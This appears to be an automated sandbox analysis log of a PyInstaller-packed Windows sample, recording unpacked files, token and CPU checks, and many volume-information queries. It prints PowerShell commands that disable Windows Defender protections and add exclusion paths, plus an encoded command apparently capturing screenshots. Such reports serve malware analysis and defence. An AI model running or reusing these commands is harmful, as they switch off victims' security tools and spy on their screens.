agacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA6B340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

109_2_00007FF6FAA6B340

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA8DE20 cpuid

109_2_00007FF6FAA8DE20

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\libcrypto-1_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\libffi-8.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\libssl-1_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\python311.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\sqlite3.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\_decimal.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
